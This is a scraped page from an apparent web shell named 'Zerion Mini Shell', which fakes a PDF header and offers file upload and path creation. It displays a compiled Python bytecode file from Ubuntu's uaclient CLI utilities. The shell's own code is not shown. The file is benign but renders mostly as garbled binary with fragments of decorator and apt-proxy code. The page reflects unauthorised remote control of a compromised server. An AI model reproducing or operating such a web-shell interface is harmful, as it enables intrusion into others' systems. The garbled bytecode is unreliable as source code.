%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/uaclient/cli/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/uaclient/cli/__pycache__/cli_util.cpython-312.pyc

�

�(�f��
�8�ddlmZddlmZddlmZmZmZmZm	Z	m
Z
mZmZm
Z
mZddlmZddlmZmZddlmZddlmZe	j0�ZGd�d	ej4�Zd
�Zdefd�Zdd�Zd�Z d�Z!dd�Z"d�Z#d�Z$dedd
fd�Z%dedede&dee&dd
f
d�Z'y
)���wraps)�Optional)
�actions�api�daemon�entitlements�event_logger�
exceptions�lock�messages�status�util)�_is_attached)�
AptProxyScope�setup_apt_proxy)�UAConfig)�
machine_tokenc	�H�eZdZdefd�Zdededeedeefd�Zdefd	�Z	y
)�CLIEnableDisableProgress�
assume_yesc�"�||_||_y�N)�is_interactiver)�selfrs  �7/usr/lib/python3/dist-packages/uaclient/cli/cli_util.py�__init__z!CLIEnableDisableProgress.__init__s��",�n���$����total_steps�
done_steps�previous_step_message�current_step_messagec� �|�t|�yyr)�print)rrr r!r"s     r�progressz!CLIEnableDisableProgress.progresss�� �+��&�'�,r�eventc��|dk(rt|�y|dk(r5tj||j�st	j
��yy)N�info�message_operation)r$r�handle_message_operationsrr�PromptDeniedError)rr&�payloads   r�	_on_eventz"CLIEnableDisableProgress._on_event(sG���F�?��'�N�
�)�
)��1�1�'�4�?�?�K� �2�2�4�4�L�*rN)
�__name__�
__module__�__qualname__�boolr�intr�strr%r-�rrrrsO��%�d�%�	(��	(��		(�
 (��}�	(�'�s�m�
	(�5�s�5rrc��yrr4)�args�kwargss  r�_null_printr80s��r�json_outputc��|rtStSr)r8r$)r9s r�&create_interactive_only_print_functionr;4s������rNc����fd�}|S)z1Decorator asserting exclusive access to lock filec�2���t����fd��}|S)Nc�v��tj�d��5�|d|i|��}ddd�|S#1swYSxYw)N�)�lock_holder�
sleep_time�cfg)r�	RetryLock)rBr6r7�retval�fr@s    ��r�new_fz0assert_lock_file.<locals>.wrapper.<locals>.new_f?s?������K�A�F�
5��D�4�c�4�V�4��
5��M�
5��M�s�.�8r)rErFr@s` �r�wrapperz!assert_lock_file.<locals>.wrapper>s ���	�q��	�
�	�
�rr4)r@rGs` r�assert_lock_filerH;s�����Nrc�.��t���fd��}|S)zDecorator asserting root userc�d��tj�stj���|i|��Sr)r�we_are_currently_rootr�NonRootUserError)r6r7rEs  �rrFzassert_root.<locals>.new_fMs.����)�)�+��-�-�/�/��d�%�f�%�%rr�rErFs` r�assert_rootrNJs"����1�X�&��&��Lrc�.��t���fd��}|S)z>Decorator to verify if correct params are used for json formatc���|s�|g|��i|��S|jdk(r |jstj���|g|��i|��S)N�json)�formatrr�CLIJSONFormatRequireAssumeYes)�cmd_argsr6r7rEs   �rrFz&verify_json_format_args.<locals>.new_fZsS�����X�/��/��/�/��?�?�f�$�X�-@�-@��:�:�<�<��X�/��/��/�/rrrMs` r�verify_json_format_argsrUWs"����1�X�0��0��Lrc����fd�}|S)z�Decorator asserting attached config.
    :param msg_function: Optional function to generate a custom message
    if raising an UnattachedError
    c�2���t����fd��}|S)Nc���t|�js<�r&t|dd�}t|dd�}�|||��ntj���|fd|i|��S)N�command��service)rY�
service_namesrBrB)r�is_attached�getattrr�UnattachedError)r6rBr7rYr\rE�raise_custom_error_functions     ��rrFz/assert_attached.<locals>.wrapper.<locals>.new_fnse�����$�0�0�.�%�d�I�r�:�G�$+�D�)�R�$@�M�/� '�}�#��%�4�4�6�6��T�-�s�-�f�-�-rr)rErFr`s` �rrGz assert_attached.<locals>.wrapperms ���	�q��
	.�
�
	.��rr4)r`rGs` r�assert_attachedrags���� �Nrc�.��t���fd��}|S)z&Decorator asserting unattached config.c����t|�jrDtj�}t	j
|jjdd�����|fd|i|��S)N�namerZ)�account_namerB)rr]r�get_machine_token_filer�AlreadyAttachedError�account�get)r6rBr7�machine_token_filerEs    �rrFz"assert_not_attached.<locals>.new_f�s`������(�(�!.�!E�!E�!G���1�1�/�7�7�;�;�F�B�G��
���)�3�)�&�)�)rrrMs` r�assert_not_attachedrk�s"����1�X�*��*��Lrc�J�tj||��\}}|r9|r7tjdj	|�|dj	|�d���|r&tj
dj	|�|���tj|dj	|�d���)z�Raises a custom error for enable/disable commands when unattached.

    Takes into consideration if the services exist or not, and notify the user
    accordingly.)�namesrBz, rZ)�
valid_service�	operation�invalid_service�service_msg)rnro)rorprq)r	�get_valid_entitlement_namesr�UnattachedMixedServicesError�join�UnattachedValidServicesError�UnattachedInvalidServicesError)rYr\rB�entitlements_found�entitlements_not_founds     r�&_raise_enable_disable_unattached_errorry�s���	�0�0�}�#�N�����4��5�5��)�)�$6�7�� �I�I�&<�=��	
�	
�
��5�5��)�)�$6�7�7�
�	
��7�7�� �I�I�&<�=��
�	
rrB�returnc��tj|�}|j}|r4tj	t
jj|���n#tj	t
j�tj�tj|�tj|�\}}tj|�}tj	tj |��tj#�y)N)�
contract_name)rrfr|r&r(r
�ATTACH_SUCCESS_TMPLrR�ATTACH_SUCCESS_NO_CONTRACT_NAMEr�stop�cleanuprr�format_tabularr�handle_unicode_characters�process_events)rBrjr|�status_dict�_ret�outputs      r�post_cli_attachr��s���&�=�=�c�B��&�4�4�M��
�
�
��(�(�/�/�m�/�L�	
�	�
�
�8�;�;�<�
�K�K�M�
�N�N�3�����s�+��K��
�
"�
"�;�
/�F�	�J�J�t�-�-�f�5�6�	���r�scope�set_key�	set_valuec���|tjk(r|j}|j}n+|tjk(r|j
}|j}d|vr|}n|}t|��y)zS
    Handles setting part the apt proxies - global and uaclient scoped proxies
    �https)�
http_proxy�https_proxy�proxy_scopeN)r�GLOBAL�global_apt_http_proxy�global_apt_https_proxy�UACLIENT�ua_apt_http_proxy�ua_apt_https_proxyr)rBr�r�r�r�r�s      r�configure_apt_proxyr��sm��
�
�$�$�$��.�.�
��0�0��	�-�(�(�	(��*�*�
��,�,���'�����
���;�E�rr)(�	functoolsr�typingr�uaclientrrrr	r
rrr
rr�(uaclient.api.u.pro.status.is_attached.v1r�uaclient.aptrr�uaclient.configr�uaclient.filesr�get_event_loggerr&�AbstractProgressrr8r1r;rHrNrUrarkryr�r3r�r4rr�<module>r�s��������B�7�$�(�%��%�%�'��5�s�3�3�5�0	�����
�
� �2�
�8���d��(�	��������}�	�

�r

Zerion Mini Shell 1.0